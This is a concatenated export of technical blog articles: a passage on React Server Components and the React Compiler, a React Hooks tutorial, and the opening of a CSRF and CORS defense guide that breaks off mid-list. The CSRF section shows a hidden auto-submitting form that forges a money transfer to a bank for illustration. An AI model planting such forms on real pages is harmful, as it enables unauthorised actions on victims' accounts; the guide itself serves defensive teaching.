0:["$","div",null,{"children":["$","h1",null,{"children":"Store"}]}]
1:["$","$L2",null,{"productId":123}]
2:I["./AddToCart.js","AddToCart"]
3:["$","ul",null,{"children":"$@4"}]
4:["$","li",null,{"children":"Product A"}]
```

| Prefix | Meaning                                |
| ------ | -------------------------------------- |
| `$`    | React element (like Virtual DOM)       |
| `$L`   | Lazy client component reference        |
| `I`    | Module import (client component chunk) |
| `$@`   | Promise reference (resolved later)     |

#### Out-of-Order Resolution

Flight enables **streaming with out-of-order resolution**:

1. Server sends shell immediately: `["$","div",null,{"children":"$@1"}]`
2. `$@1` is a promise placeholder—client renders fallback
3. When data resolves, server streams: `1:["$","ul",null,{"children":[...]}]`
4. Client swaps placeholder with resolved content

This is how RSC achieves progressive rendering without multiple HTTP requests.

### 4.4 RSC Integration with Suspense

Suspense boundaries define streaming units. Each boundary can resolve independently:

```javascript title="page.server.jsx" collapse={1-2}
// RSC page with Suspense boundaries
import { Suspense } from "react"

export default async function Page() {
  return (
    <div>
      <Suspense fallback={<HeaderSkeleton />}>
        <AsyncHeader />
      </Suspense>
      <Suspense fallback={<ProductSkeleton />}>
        <AsyncProductList />
      </Suspense>
      <AddToCartSidebar /> {/* Client component */}
    </div>
  )
}

async function AsyncHeader() {
  const user = await fetchUserData() // Suspends until resolved
  return <Header user={user} />
}
```

**Parallel vs. sequential fetching**: Each Suspense boundary fetches independently. If `AsyncHeader` and `AsyncProductList` are in separate boundaries, they fetch in parallel. If in the same boundary (React 19), they fetch sequentially.

### 4.5 React 19 RSC Enhancements

React 19 stabilized RSC and added:

| Feature             | Description                                                             |
| ------------------- | ----------------------------------------------------------------------- |
| **Actions**         | Async functions in `startTransition` with automatic pending/error state |
| **`use()` hook**    | Read promises and context directly in render                            |
| **`useFormStatus`** | Access form pending state without prop drilling                         |
| **`useOptimistic`** | Optimistic UI updates while server confirms                             |
| **Ref as prop**     | No more `forwardRef` wrapper needed                                     |

```javascript title="server-action.js"
"use server"

export async function addToCart(productId) {
  await db.cart.add(productId)
  revalidatePath("/cart")
}
```

The `"use server"` directive marks a function as a **Server Action**—callable from client components, executed on the server.

### 4.6 RSC Performance Implications

| Aspect      | Impact                                                    |
| ----------- | --------------------------------------------------------- |
| Bundle size | Server components contribute 0 bytes to client bundle     |
| TTI         | Reduced—fewer bytes to parse and execute                  |
| TTFB        | May increase slightly (server rendering time)             |
| Network     | Single streaming response vs. multiple API calls          |
| Caching     | Server output cacheable at component, route, or CDN level |

## 5. React Compiler

React 19 introduced the **React Compiler** (formerly "React Forget")—a build-time optimization tool that automatically memoizes components and values.

### What It Does

The compiler analyzes your code and inserts optimizations:

- Skips re-renders when props/state haven't changed
- Memoizes expensive calculations
- Stabilizes function references

**What it replaces**: Manual `useMemo`, `useCallback`, and `React.memo`. The compiler does this more efficiently through inlining rather than runtime checks.

```javascript title="before-after.js"
// Before: Manual memoization
const filteredList = useMemo(() => items.filter(predicate), [items, predicate])
const handleClick = useCallback(() => doSomething(id), [id])

// After: Compiler handles it automatically
const filteredList = items.filter(predicate) // Compiler memoizes
const handleClick = () => doSomething(id) // Compiler stabilizes
```

### Limitations

The compiler optimizes **how** components render, not **whether** they render. Architectural decisions remain your responsibility:

- Virtualization for long lists
- Code splitting
- Render strategy selection (CSR/SSR/RSC)

## 6. Architectural Synthesis and Trade-offs

| Architecture  | Rendering       | Bundle  | Interactivity   | SEO       | Best For                   |
| ------------- | --------------- | ------- | --------------- | --------- | -------------------------- |
| **CSR**       | Client          | Full    | Immediate       | Poor      | Dashboards, internal tools |
| **SSR**       | Server → Client | Full    | After hydration | Excellent | Dynamic, SEO-critical      |
| **SSG**       | Build time      | Full    | After hydration | Excellent | Blogs, marketing           |
| **RSC + SSR** | Hybrid          | Minimal | Selective       | Excellent | Complex apps               |

### 6.1 The Dependency Chain

React's architecture forms a dependency chain:

```
Fiber → Lanes → Suspense → Concurrent Features → RSC Streaming
```

1. **Fiber** enables interruptible rendering
2. **Lanes** provide priority-based scheduling
3. **Suspense** provides the async primitive
4. **Concurrent features** (transitions, deferred values) build on Suspense
5. **RSC streaming** leverages all of the above

### 6.2 Decision Framework

**RSC + SSR** when:

- Optimal performance across all metrics required
- Team can manage server infrastructure
- Mix of static and interactive content

**Traditional SSR** when:

- Existing SSR infrastructure
- Page-level data fetching sufficient
- Full hydration acceptable

**SSG** when:

- Content changes infrequently
- Maximum performance required
- CDN-first architecture

**CSR** when:

- Internal tool / dashboard
- SEO irrelevant
- Simplest deployment

## Conclusion

React's architecture has evolved from a synchronous stack reconciler to a sophisticated concurrent system built on Fiber's virtual call stack. The lane-based priority system enables responsive UIs under load; Suspense provides the async primitive; RSC—now stable in React 19—eliminates unnecessary client JavaScript while enabling direct server-side data access.

Understanding these internals informs architectural decisions: when to use transitions, how Suspense boundaries affect streaming, why hydration mismatches occur, and when RSC provides meaningful bundle savings. The React Compiler further reduces the cognitive overhead of manual memoization, letting developers focus on architecture rather than micro-optimizations.

The dependency chain—Fiber → Lanes → Suspense → RSC—means each layer builds on the previous. Breaking changes at any level ripple upward. As React continues evolving, these foundational patterns will shape both the framework's future and the broader landscape of UI frameworks.

## Appendix

### Prerequisites

- JavaScript async/await and Promises
- React component model (props, state, hooks)
- HTTP request/response cycle
- Basic understanding of browser rendering (layout, paint, composite)

### Summary

- **Fiber** replaces the native call stack with a virtual stack of linked fiber nodes, enabling interruptible rendering
- **Lanes** (31-bit bitmask) replaced expiration times in React 18; higher-priority lanes preempt lower ones
- **Two-phase reconciliation**: interruptible render phase (5ms slices via MessageChannel), synchronous commit phase
- **Streaming SSR** sends HTML progressively through Suspense boundaries; React 19 changed sibling rendering to sequential
- **RSC** (stable in React 19) serializes UI via Flight protocol; server components ship zero client JavaScript
- **React Compiler** automates memoization at build time

### References

**Official Documentation**

- [React 19 Release Blog](https://react.dev/blog/2024/12/05/react-19) - Official release notes (December 2024)
- [React Server Components Reference](https://react.dev/reference/rsc/server-components) - Official RSC documentation
- [Suspense Reference](https://react.dev/reference/react/Suspense) - Official Suspense API docs
- [hydrateRoot API](https://react.dev/reference/react-dom/client/hydrateRoot) - Hydration documentation
- [React Compiler Introduction](https://react.dev/learn/react-compiler) - Official compiler docs

**Architecture & Design**

- [React Fiber Architecture](https://github.com/acdlite/react-fiber-architecture) - Andrew Clark's Fiber design explanation
- [React Server Components RFC](https://github.com/reactjs/rfcs/blob/main/text/0188-server-components.md) - Original RFC

**Implementation Details**

- [React GitHub Repository](https://github.com/facebook/react) - Source code (ReactFiberWorkLoop.js, ReactFiberLane.js)
- [Scheduling in React 16.x](https://adasq.github.io/scheduling-in-react-16-x/) - MessageChannel scheduler analysis
- [React Lanes Guide](https://dev.to/yorgie7/react-scheduler-lanes-the-ultimate-guide-to-smooth-ui-1gmk) - Lane system deep dive

**Ecosystem**

- [Next.js App Router](https://nextjs.org/docs/app) - RSC implementation in Next.js
- [Rendering on the Web](https://web.dev/articles/rendering-on-the-web) - Google's rendering strategy comparison
- [React 19 Suspense Analysis](https://tkdodo.eu/blog/react-19-and-suspense-a-drama-in-3-acts) - TkDodo on Suspense behavior changes

---

## React Hooks Fundamentals: Rules, Core Hooks, and Custom Hooks

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/react-architecture/react-hooks-fundamentals
**Category:** Frontend Engineering / React Architecture
**Description:** React Hooks enable functional components to manage state and side effects. Introduced in React 16.8 (February 2019), hooks replaced class components as the recommended approach for most use cases. This article covers the architectural principles, core hooks, and patterns for building production applications.

# React Hooks Fundamentals: Rules, Core Hooks, and Custom Hooks

React Hooks enable functional components to manage state and side effects. Introduced in React 16.8 (February 2019), hooks replaced class components as the recommended approach for most use cases. This article covers the architectural principles, core hooks, and patterns for building production applications.

<figure>

![React 19 hook categories. State hooks manage component data; effect hooks synchronize with external systems; performance hooks optimize rendering.](./react-19-hook-categories-state-hooks-manage-component-data-effect-hooks-synchron.svg)

<figcaption>React 19 hook categories. State hooks manage component data; effect hooks synchronize with external systems; performance hooks optimize rendering.</figcaption>
</figure>

## Abstract

Hooks solve three problems that plagued class components: logic fragmentation across lifecycle methods, wrapper hell from HOCs (Higher-Order Components) and render props, and the cognitive overhead of JavaScript's `this` binding.

The core mental model:

- **Hooks are call-order dependent**: React stores hook state in a linked list, using call position (not names) to associate state with hooks. This enables custom hooks to have independent state without key collisions.
- **Effects are synchronization, not lifecycle**: `useEffect` keeps external systems in sync with React state. Think "synchronize chat connection with `roomId`" not "run code on mount."
- **Memoization breaks render cascades**: `useMemo` and `useCallback` preserve referential equality to prevent unnecessary re-renders of memoized children—not to optimize individual calculations.
- **Custom hooks compose without collision**: Because each hook call gets its own slot in the linked list, two hooks using the same internal hook don't conflict.

As of React 19 (December 2024), new hooks like `useActionState`, `useOptimistic`, and the `use` API extend hooks to handle async data and form actions natively.

## Why Hooks Exist: The Class Component Problems

Before React 16.8, class components had three architectural problems that hooks were designed to solve:

**1. Logic Fragmentation**: A single concern (like a data subscription) was scattered across `componentDidMount` (setup), `componentDidUpdate` (sync on prop change), and `componentWillUnmount` (cleanup). Hooks co-locate related logic in a single `useEffect` call.

**2. Wrapper Hell**: HOCs and render props solved reuse but created deeply nested hierarchies (the "pyramid of doom") that were hard to debug. Custom hooks extract logic without adding wrapper components.

**3. `this` Binding**: Class methods required explicit binding or arrow function class properties. Hooks eliminate `this` entirely—components are just functions.

> **Design rationale**: The React team considered alternatives like mixins (rejected due to the "diamond problem" of conflicting method names) and render props (rejected because they still add nesting). Hooks' call-order design naturally avoids these issues. See Dan Abramov's ["Why Do Hooks Rely on Call Order?"](https://overreacted.io/why-do-hooks-rely-on-call-order/) for the full reasoning.

## The Rules of Hooks: Why Call Order Matters

Hooks have two rules that stem from a single implementation decision: React tracks hook state in a **linked list indexed by call order**, not by name.

### Rule 1: Only Call Hooks at the Top Level

React associates `useState(0)` with "the first hook call" and `useState("")` with "the second hook call." If the order changes between renders, state gets misassigned.

```tsx title="hook-rules-violation.tsx" collapse={1-2}
// ❌ Conditional hook call: order changes when `condition` flips
function BadComponent({ condition }) {
  const [count, setCount] = useState(0) // Always slot 0

  if (condition) {
    useEffect(() => console.log("effect")) // Sometimes slot 1
  }

  const [name, setName] = useState("") // Slot 1 or 2 depending on condition
}
```

When `condition` changes from `true` to `false`, React expects slot 1 to be `useEffect` but finds `useState`—state corruption occurs.

```tsx title="hook-rules-correct.tsx" collapse={1-2}
// ✅ Condition inside the hook, not around it
function GoodComponent({ condition }) {
  const [count, setCount] = useState(0) // Always slot 0
  const [name, setName] = useState("") // Always slot 1

  useEffect(() => {
    if (condition) console.log("effect") // Always slot 2
  }, [condition])
}
```

**Why this design?** The React team evaluated alternatives:

- **String keys**: Name collisions when composing hooks (two hooks using the same internal state key)
- **Symbol keys**: Can't call the same hook twice (both calls share one Symbol)
- **Manual composition**: Forces developers to manage keys through all layers

Call order solves all three: each call gets its own slot, no keys needed, no collisions.

### Rule 2: Only Call Hooks from React Functions

Hooks can only be called from function components or custom hooks (functions starting with `use`). This ensures React is in the middle of rendering when hooks are called, so it can properly track state.

The `eslint-plugin-react-hooks` plugin enforces both rules statically.

## Core Hooks

### useState: State as a Snapshot

`useState` adds local state to a component. The setter triggers a re-render with the new value.

```tsx title="useState-basics.tsx"
const [count, setCount] = useState(0) // Returns [currentValue, setter]
```

**Critical behavior**: State is a snapshot frozen at render time. The setter queues a re-render; it doesn't mutate immediately.

```tsx title="useState-snapshot.tsx" collapse={1-2}
// Each click only increments by 1, not 3
function Counter() {
  const [count, setCount] = useState(0)

  function handleClick() {
    setCount(count + 1) // Queues: set to 0 + 1
    setCount(count + 1) // Queues: set to 0 + 1 (count is still 0!)
    setCount(count + 1) // Queues: set to 0 + 1
  }
}
```

**Functional updates** solve the stale closure problem by receiving the latest state:

```tsx title="useState-functional-update.tsx" collapse={1-2}
// Each call sees the updated value—increments by 3
function Counter() {
  const [count, setCount] = useState(0)

  function handleClick() {
    setCount((c) => c + 1) // 0 → 1
    setCount((c) => c + 1) // 1 → 2
    setCount((c) => c + 1) // 2 → 3
  }
}
```

**Object state**: React uses `Object.is` to detect changes. Mutating an object and calling the setter won't trigger a re-render because the reference hasn't changed.

```tsx title="useState-object-mutation.tsx"
// ❌ Mutation: React sees same reference, skips re-render
obj.x = 10
setObj(obj)

// ✅ Replacement: new reference triggers re-render
setObj({ ...obj, x: 10 })
```

**Lazy initialization**: Pass a function (not its result) when the initial value is expensive to compute. React only calls it on the first render.

```tsx title="useState-lazy-init.tsx"
// ❌ createTodos() runs every render (result ignored after first)
const [todos, setTodos] = useState(createTodos())

// ✅ createTodos only runs once
const [todos, setTodos] = useState(createTodos)
```

### useReducer: Centralized State Transitions

`useReducer` extracts state update logic into a pure function. Useful when state transitions are complex or interdependent.

```tsx title="useReducer-basics.tsx"
const [state, dispatch] = useReducer(reducer, initialState)
```

**When to choose useReducer over useState:**

| Scenario                                    | useState             | useReducer          |
| ------------------------------------------- | -------------------- | ------------------- |
| Independent values                          | ✅ Simpler           | Overkill            |
| Interdependent state (form with validation) | Scattered logic      | ✅ Centralized      |
| Complex transitions (state machine)         | Hard to follow       | ✅ Explicit actions |
| Testing state logic                         | Coupled to component | ✅ Pure function    |

```tsx title="form-reducer.tsx" collapse={1-14, 26-30}
type FormState = {
  email: string
  password: string
  errors: Record<string, string>
  isSubmitting: boolean
}

type FormAction =
  | { type: "SET_FIELD"; field: string; value: string }
  | { type: "SET_ERRORS"; errors: Record<string, string> }
  | { type: "SUBMIT_START" }
  | { type: "SUBMIT_END" }
  | { type: "RESET" }

const initialState: FormState = {
  email: "",
  password: "",
  errors: {},
  isSubmitting: false,
}

function formReducer(state: FormState, action: FormAction): FormState {
  switch (action.type) {
    case "SET_FIELD":
      return { ...state, [action.field]: action.value, errors: {} }
    case "SET_ERRORS":
      return { ...state, errors: action.errors, isSubmitting: false }
    case "SUBMIT_START":
      return { ...state, isSubmitting: true, errors: {} }
    case "SUBMIT_END":
      return { ...state, isSubmitting: false }
    case "RESET":
      return initialState
  }
}
```

The reducer is a pure function—easy to unit test without rendering a component.

### useEffect: Synchronization, Not Lifecycle

**Mental model shift**: Don't think "run on mount/unmount." Think "synchronize external system X with React state Y."

```tsx title="useEffect-sync-model.tsx" collapse={1-2}
// "Keep chat connection in sync with roomId"
function ChatRoom({ roomId }) {
  useEffect(() => {
    const connection = createConnection(roomId)
    connection.connect()
    return () => connection.disconnect() // Cleanup before re-sync
  }, [roomId]) // Re-sync when roomId changes
}
```

When `roomId` changes: cleanup runs (disconnect old room) → setup runs (connect new room). This is synchronization, not lifecycle.

**Dependency array behavior:**

```tsx title="useEffect-dependencies.tsx"
useEffect(() => { ... })           // Re-runs after every render (rare)
useEffect(() => { ... }, [])       // Runs once after initial render
useEffect(() => { ... }, [a, b])   // Re-runs when a or b changes (Object.is)
```

**Common bugs:**

| Bug            | Cause                                         | Fix                                           |
| -------------- | --------------------------------------------- | --------------------------------------------- |
| Stale closure  | Missing dependency                            | Add to array or use functional update         |
| Infinite loop  | Object/function in deps recreated each render | `useMemo`/`useCallback` or move inside effect |
| Memory leak    | No cleanup for subscription/timer             | Return cleanup function                       |
| Race condition | Async result applied after newer request      | Use `ignore` flag pattern                     |

```tsx title="useEffect-race-condition.tsx" collapse={1-2}
// Race condition fix: ignore stale responses
function Profile({ userId }) {
  const [user, setUser] = useState(null)

  useEffect(() => {
    let ignore = false
    fetchUser(userId).then((data) => {
      if (!ignore) setUser(data) // Only apply if still current
    })
    return () => {
      ignore = true
    }
  }, [userId])
}
```

**Strict Mode double-invocation**: In development, React mounts → unmounts → mounts components to surface missing cleanup. If your effect breaks on remount, it's missing cleanup.

### useRef: Mutable Values Outside the Render Cycle

`useRef` returns a mutable object `{ current: value }` that persists across renders without triggering re-renders when mutated.

**Two use cases:**

1. **DOM access**: Get a reference to a DOM node
2. **Instance variables**: Store values that shouldn't trigger re-renders (timers, previous values, flags)

```tsx title="useRef-dom.tsx" collapse={1-2}
// DOM reference for imperative focus
function TextInput() {
  const inputRef = useRef<HTMLInputElement>(null)
  return (
    <>
      <input ref={inputRef} />
      <button onClick={() => inputRef.current?.focus()}>Focus</button>
    </>
  )
}
```

```tsx title="useRef-timer.tsx" collapse={1-2}
// Store interval ID without causing re-renders
function Timer() {
  const intervalRef = useRef<NodeJS.Timeout>()

  useEffect(() => {
    intervalRef.current = setInterval(() => console.log("tick"), 1000)
    return () => clearInterval(intervalRef.current)
  }, [])
}
```

**Key distinction from state**: Mutating `ref.current` doesn't schedule a re-render. Use state when the UI should reflect the value; use refs for values that don't affect rendering.

## Performance Hooks: Memoization

### The Referential Equality Problem

Objects and functions are recreated on every render. If passed to a `memo()`-wrapped child, the child re-renders because `{} !== {}`.

```tsx title="referential-equality.tsx" collapse={1-2}
// Child re-renders on every parent render, even if props are "the same"
function Parent() {
  const [count, setCount] = useState(0)
  const style = { color: "blue" } // New object each render
  const onClick = () => console.log("hi") // New function each render
  return <MemoizedChild style={style} onClick={onClick} />
}
```

### useMemo: Cache Expensive Values

`useMemo` caches a computed value until dependencies change.

```tsx title="useMemo-basics.tsx"
const filtered = useMemo(() => items.filter((item) => item.matches(query)), [items, query])
```

**When to use:**

1. **Expensive calculations**: Filter/map over large arrays, complex transformations (>1ms)
2. **Referential equality for props**: Prevent re-renders of memoized children
3. **Dependencies of other hooks**: Stable object reference for `useEffect` deps

**When NOT to use:** Simple calculations like `a + b`. The overhead of memoization exceeds the cost.

### useCallback: Cache Functions

`useCallback` is `useMemo` for functions: `useCallback(fn, deps)` ≡ `useMemo(() => fn, deps)`.

```tsx title="useCallback-basics.tsx" collapse={1-2}
// Stable function reference for memoized child
function Parent() {
  const [count, setCount] = useState(0)

  const handleClick = useCallback(() => {
    setCount((c) => c + 1) // Updater function avoids `count` dependency
  }, [])

  return <MemoizedButton onClick={handleClick} />
}
```

**When to use:** Functions passed to `memo()`-wrapped children or used as `useEffect` dependencies.

### React Compiler (React 19+)

The React Compiler (currently opt-in) auto-memoizes values and functions at compile time. When widely adopted, manual `useMemo`/`useCallback` will be unnecessary in most cases.

## Custom Hooks

Custom hooks extract reusable stateful logic. A function starting with `use` that calls other hooks is a custom hook.

**Design principles:**

1. **Single responsibility**: One hook, one concern
2. **Composition**: Build complex hooks from simpler hooks
3. **Stable API**: Consistent return shape across versions

```tsx title="custom-hook-composition.tsx" collapse={1-2}
// Compose focused hooks rather than building monoliths
function useUserData(userId: string) {
  const { data, error, isLoading } = useFetch(`/api/users/${userId}`)
  const cached = useCache(data, `user-${userId}`)
  return { user: cached ?? data, error, isLoading }
}
```

Each hook call gets its own state slot—no conflicts even if two hooks internally use `useState`.

## Production Custom Hooks

### usePrevious: Track Previous Values

Returns the value from the previous render. Useful for comparisons, animations, and change detection.

```tsx title="usePrevious.tsx" collapse={1-2}
import { useEffect, useRef } from "react"

export function usePrevious<T>(value: T): T | undefined {
  const ref = useRef<T>()
  useEffect(() => {
    ref.current = value
  }, [value])
  return ref.current // Returns previous value during render
}
```

**How it works**: `useRef` stores the value outside the render cycle. `useEffect` updates the ref _after_ render, so during render we still see the old value.

**Edge cases:**

- First render: returns `undefined`
- Concurrent features: safe because refs are instance-specific

### useDebounce: Delay Rapid Updates

Delays updating a value until input stops for a specified duration. Common for search inputs.

```tsx title="useDebounce.tsx" collapse={1-2}
import { useState, useEffect } from "react"

export function useDebounce<T>(value: T, delay = 500): T {
  const [debouncedValue, setDebouncedValue] = useState(value)

  useEffect(() => {
    const timer = setTimeout(() => setDebouncedValue(value), delay)
    return () => clearTimeout(timer)
  }, [value, delay])

  return debouncedValue
}
```

**Usage:**

```tsx title="useDebounce-usage.tsx" collapse={1-2}
function Search() {
  const [query, setQuery] = useState("")
  const debouncedQuery = useDebounce(query, 300)

  useEffect(() => {
    if (debouncedQuery) fetchResults(debouncedQuery)
  }, [debouncedQuery])
}
```

**Edge cases:**

- Component unmount: cleanup clears pending timer
- Delay changes: timer resets with new duration

### useFetch: Data Fetching with Cancellation

Handles loading states, errors, and request cancellation via `AbortController`.

```tsx title="useFetch.tsx" collapse={1-4, 20-35}
import { useEffect, useReducer, useRef, useCallback } from "react"

type State<T> = { data: T | null; error: Error | null; isLoading: boolean }
type Action<T> = { type: "start" } | { type: "success"; data: T } | { type: "error"; error: Error }

function reducer<T>(state: State<T>, action: Action<T>): State<T> {
  switch (action.type) {
    case "start":
      return { ...state, isLoading: true, error: null }
    case "success":
      return { data: action.data, isLoading: false, error: null }
    case "error":
      return { ...state, isLoading: false, error: action.error }
  }
}

export function useFetch<T>(url: string | null) {
  const [state, dispatch] = useReducer(reducer<T>, { data: null, error: null, isLoading: false })
  const abortRef = useRef<AbortController>()

  useEffect(() => {
    if (!url) return

    abortRef.current?.abort()
    const controller = new AbortController()
    abortRef.current = controller

    dispatch({ type: "start" })

    fetch(url, { signal: controller.signal })
      .then((res) => (res.ok ? res.json() : Promise.reject(new Error(`HTTP ${res.status}`))))
      .then((data) => dispatch({ type: "success", data }))
      .catch((err) => {
        if (err.name !== "AbortError") dispatch({ type: "error", error: err })
      })

    return () => controller.abort()
  }, [url])

  return state
}
```

**Key behaviors:**

- Cancels in-flight request when URL changes or component unmounts
- Ignores `AbortError` to avoid spurious error states
- Uses reducer for atomic state transitions

### useLocalStorage: Persistent State

Syncs state with `localStorage`, handling SSR (Server-Side Rendering), serialization errors, and cross-tab updates.

```tsx title="useLocalStorage.tsx" collapse={1-3, 18-30}
import { useState, useEffect, useCallback } from "react"

export function useLocalStorage<T>(key: string, initialValue: T): [T, (v: T | ((p: T) => T)) => void] {
  const [value, setValue] = useState<T>(() => {
    if (typeof window === "undefined") return initialValue
    try {
      const item = localStorage.getItem(key)
      return item ? JSON.parse(item) : initialValue
    } catch {
      return initialValue
    }
  })

  const setStoredValue = useCallback(
    (newValue: T | ((prev: T) => T)) => {
      setValue((prev) => {
        const resolved = newValue instanceof Function ? newValue(prev) : newValue
        try {
          localStorage.setItem(key, JSON.stringify(resolved))
        } catch {}
        return resolved
      })
    },
    [key],
  )

  // Sync across tabs
  useEffect(() => {
    const handler = (e: StorageEvent) => {
      if (e.key === key && e.newValue) {
        try {
          setValue(JSON.parse(e.newValue))
        } catch {}
      }
    }
    window.addEventListener("storage", handler)
    return () => window.removeEventListener("storage", handler)
  }, [key])

  return [value, setStoredValue]
}
```

**Edge cases:**

- SSR: Returns `initialValue` when `window` is undefined
- JSON errors: Falls back to initial value
- Cross-tab sync: `storage` event fires when other tabs modify the same key

### useIntersectionObserver: Viewport Detection

Detects when elements enter/leave the viewport. Replaces inefficient scroll listeners.

```tsx title="useIntersectionObserver.tsx" collapse={1-5, 22-28}
import { useEffect, useRef, useState, useCallback } from "react"

interface Options {
  threshold?: number
  rootMargin?: string
  freezeOnceVisible?: boolean
}

export function useIntersectionObserver(options: Options = {}) {
  const { threshold = 0, rootMargin = "0px", freezeOnceVisible = false } = options
  const [isIntersecting, setIsIntersecting] = useState(false)
  const frozen = useRef(false)
  const ref = useRef<Element | null>(null)

  const setRef = useCallback(
    (node: Element | null) => {
      if (ref.current) return // Already observing
      ref.current = node
      if (!node) return

      const observer = new IntersectionObserver(
        ([entry]) => {
          if (frozen.current) return
          if (freezeOnceVisible && entry.isIntersecting) frozen.current = true
          setIsIntersecting(entry.isIntersecting)
        },
        { threshold, rootMargin },
      )

      observer.observe(node)
      return () => observer.disconnect()
    },
    [threshold, rootMargin, freezeOnceVisible],
  )

  return [setRef, isIntersecting] as const
}
```

**Usage:** Lazy-load images when they enter viewport:

```tsx title="useIntersectionObserver-usage.tsx" collapse={1-2}
function LazyImage({ src }: { src: string }) {
  const [ref, isVisible] = useIntersectionObserver({ freezeOnceVisible: true })
  return <img ref={ref} src={isVisible ? src : ""} />
}
```

## React 19 Hooks

React 19 (December 2024) introduces hooks for form handling and optimistic updates:

| Hook             | Purpose                                                         |
| ---------------- | --------------------------------------------------------------- |
| `useActionState` | Manages form submission state, errors, and pending status       |
| `useFormStatus`  | Reads parent `<form>` status without prop drilling              |
| `useOptimistic`  | Shows optimistic UI while async request completes               |
| `use`            | Reads promises/context during render (can follow early returns) |

```tsx title="react-19-hooks.tsx" collapse={1-2}
// useActionState example
import { useActionState } from "react"

function Form() {
  const [error, submitAction, isPending] = useActionState(async (prevState, formData) => {
    const result = await saveData(formData)
    if (result.error) return result.error
    return null
  }, null)

  return (
    <form action={submitAction}>
      <button disabled={isPending}>Submit</button>
      {error && <p>{error}</p>}
    </form>
  )
}
```

The React Compiler (opt-in in React 19) will auto-memoize values and functions, reducing the need for manual `useMemo`/`useCallback`.

## Conclusion

Hooks solve class component problems through a single mechanism: call-order-based state tracking. Master the core hooks (`useState`, `useEffect`, `useRef`), understand their mental models (snapshots, synchronization, mutable refs), and compose custom hooks for reusable logic.

## Appendix

### Prerequisites

- React functional components
- JavaScript closures and reference equality
- Basic TypeScript (for typed examples)

### Terminology

| Term                     | Definition                                                             |
| ------------------------ | ---------------------------------------------------------------------- |
| **Hook**                 | Function starting with `use` that accesses React state or lifecycle    |
| **Memoization**          | Caching computed values to avoid recalculation                         |
| **Referential equality** | Two values are `===` (same reference in memory)                        |
| **Stale closure**        | Closure capturing outdated variable values                             |
| **HOC**                  | Higher-Order Component—function that wraps a component to add behavior |

### Summary

- Hooks use **call-order** to track state—never call conditionally
- `useState` returns a **snapshot**; use functional updates for state-dependent changes
- `useEffect` is **synchronization**, not lifecycle; always return cleanup
- `useMemo`/`useCallback` preserve **referential equality** for memoized children
- Custom hooks compose without collision because each call gets its own state slot
- React 19 adds `useActionState`, `useOptimistic`, and the `use` API for forms and async data

### References

- [React Documentation: Hooks Reference](https://react.dev/reference/react/hooks) - Official API reference for all built-in hooks
- [React Documentation: Rules of Hooks](https://react.dev/reference/rules/rules-of-hooks) - Official rules and linting
- [Dan Abramov: Why Do Hooks Rely on Call Order?](https://overreacted.io/why-do-hooks-rely-on-call-order/) - Design rationale from React core team
- [React Documentation: Synchronizing with Effects](https://react.dev/learn/synchronizing-with-effects) - Mental model for useEffect
- [React Documentation: Reusing Logic with Custom Hooks](https://react.dev/learn/reusing-logic-with-custom-hooks) - Custom hooks patterns
- [React 19 Release Notes](https://react.dev/blog/2024/04/25/react-19) - New hooks and features
- [React Compiler Documentation](https://react.dev/learn/react-compiler) - Automatic memoization

# WEB FOUNDATIONS

Protocols, security, accessibility, and core browser APIs that underpin the web.

---

## CSRF and CORS Defense for Modern Web Applications

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/web-security-auth/csrf-and-cors-defense
**Category:** Web Foundations / Security & Auth
**Description:** A deep dive into Cross-Site Request Forgery (CSRF) and Cross-Origin Resource Sharing (CORS)—their threat models, specification-level mechanics, and defense-in-depth implementation patterns for production web applications.

# CSRF and CORS Defense for Modern Web Applications

A deep dive into Cross-Site Request Forgery (CSRF) and Cross-Origin Resource Sharing (CORS)—their threat models, specification-level mechanics, and defense-in-depth implementation patterns for production web applications.

<figure>

![CSRF exploits ambient authority (cookies sent automatically); CORS controls same-origin policy relaxation. Defense requires both browser-level and server-level controls working together.](./csrf-exploits-ambient-authority-cookies-sent-automatically-cors-controls-same-or.svg)

<figcaption>CSRF exploits ambient authority (cookies sent automatically); CORS controls same-origin policy relaxation. Defense requires both browser-level and server-level controls working together.</figcaption>

</figure>

## Abstract

CSRF and CORS address opposite sides of the same problem: managing cross-origin trust.

**Core mental model**:

- **Same-Origin Policy (SOP)**: The browser's default—scripts can only access resources from the same origin. CORS relaxes this when servers opt in.
- **CSRF**: Exploits the fact that browsers automatically attach cookies to requests. The attacker's page triggers a request to your server; your server sees a legitimate session cookie and processes it.
- **CORS**: Not a security boundary—it's a relaxation mechanism. Servers declare which foreign origins may read responses. It does not prevent requests from being sent; it prevents responses from being read.

**Key invariants**:

| Defense         | What It Protects              | What It Does NOT Protect                            |
| --------------- | ----------------------------- | --------------------------------------------------- |
| SameSite=Strict | All CSRF                      | Subdomains; if XSS exists, attacker is "same-site"  |
| SameSite=Lax    | POST CSRF, unsafe methods     | GET-based state changes; two-minute Lax+POST window |
| CSRF Tokens     | State-changing requests       | Token extraction via XSS                            |
| CORS            | Response data confidentiality | Request being sent; cookies being attached          |
| Custom Headers  | API endpoints                 | Simple requests (no preflight)                      |

**Design principle**: Defense in depth. SameSite cookies are the first line; CSRF tokens cover edge cases; origin verification provides fallback; Fetch Metadata enables server-side filtering.

## The CSRF Threat Model

CSRF (Cross-Site Request Forgery) tricks a user's browser into making authenticated requests to a target site without the user's intent. The attacker exploits the browser's automatic inclusion of cookies in requests.

### Attack Mechanics

The attack requires three conditions:

1. **User is authenticated** to the target site with a session cookie
2. **Target site relies on ambient authority** (cookies alone) for request authentication
3. **Attacker can induce the user's browser** to make a request (via `<img>`, `<form>`, JavaScript)

**Attack flow**:

![Diagram](./diagram-1.svg)

**Why it works**: The browser sees a request to `bank.com` and automatically includes `bank.com`'s cookies. The server cannot distinguish between a legitimate user action and an attacker-induced request—both carry the same session cookie.

### Attack Vectors

| Vector                             | Method | Requires User Action             |
| ---------------------------------- | ------ | -------------------------------- |
| `<img src="...">`                  | GET    | None                             |
| `<form method="POST">` auto-submit | POST   | None (JavaScript)                |
| `<form>` with target `_blank`      | POST   | Click (or auto-submit)           |
| `fetch()` / `XMLHttpRequest`       | Any    | None (blocked by CORS for reads) |
| `<link rel="prerender">`           | GET    | None                             |

**Example**: Hidden form auto-submit

```html
<!-- On attacker.com -->
<form action="https://bank.com/transfer" method="POST" id="evil">
  <input type="hidden" name="to" value="attacker-account" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>
  document.getElementById("evil").submit()
</script>
```

### What CSRF Cannot Do

- **Read responses**: Same-origin policy blocks this; CSRF is write-only
